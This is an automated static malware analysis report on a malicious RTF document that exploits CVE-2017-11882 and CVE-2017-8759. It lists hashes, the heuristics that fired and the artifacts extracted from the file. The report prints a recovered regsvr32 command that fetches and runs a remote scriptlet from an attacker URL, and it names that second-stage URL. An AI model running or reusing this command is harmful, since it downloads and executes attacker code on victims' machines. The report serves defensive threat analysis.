Malicious RTF — malware analysis report

Static analysis result for SHA-256 697bed3630e918b0…

MALICIOUS

RTF

105.6 KB Created: 2018-04-10 08:34:00 Authoring application: Riched20 6.3.9600 First seen: 2018-04-30
MD5: e049d4200fd95b35b38cc73af5b9c0cb SHA-1: 90db33ee4aa9c3921e2beb8932ef4d5cbabf8117 SHA-256: 697bed3630e918b0d6a73d7c251cdd1c7dc62db0445f89224a05747091281d02
442 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains embedded OLE objects and exploits known vulnerabilities, specifically CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX). These exploits are used to execute arbitrary code, likely to download and run a second-stage payload from the URL http://job.softline.top/ad1.jpg. The presence of shellcode candidates and extracted binary artifacts further supports this conclusion.

Heuristics 10

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • ClamAV: Doc.Dropper.Agent-6603482-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6603482-0
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microso In RTF body
    • http://job.softline.top/ad1.jpgIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000ed3a.bin rtf-objdata-decoded RTF \objdata at offset 0xED3A 3546 bytes
SHA-256: c9be9658c358eb75b222c91d7d38eb413d205a23830c96554867275c49dd70a6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://job.softline.top/ad1.jpg Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS Static shellcode analysis recovered command string(s): regsvr32 /u /s /i:http://job.softline.top/ad1.jpg scrobj.dll # %
objdata_01_off00010e11.bin rtf-objdata-decoded RTF \objdata at offset 0x10E11 3546 bytes
SHA-256: 867f014f5141596fe8b46842bca989668e47c5c68050b1a2a44a7bbdec967fc3

Open this report in the interactive analyzer, or submit your own file for analysis.